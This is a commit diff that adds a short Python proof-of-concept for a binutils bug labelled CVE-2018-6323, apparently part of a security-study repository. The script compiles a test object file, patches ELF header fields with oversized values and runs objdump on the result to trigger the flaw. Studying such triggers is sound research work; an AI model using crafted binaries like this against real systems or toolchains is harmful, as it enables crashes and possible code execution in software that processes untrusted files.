add 7.1.7

src/exploit/7.1.7_binutils_2018-6323/poc.py

@@ -0,0 +1,17 @@
+import os
+ 
+hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
+f = open("helloWorld.c", 'w')
+f.write(hello)
+f.close()
+ 
+os.system("gcc -c helloWorld.c -o test")
+
+f = open("test", 'rb+')
+f.read(0x2c)
+f.write("\xff\xff") # 65535
+f.read(0x244-0x2c-2)
+f.write("\x00\x00\x00\x20") # 536870912
+f.close()
+
+os.system("objdump -x test")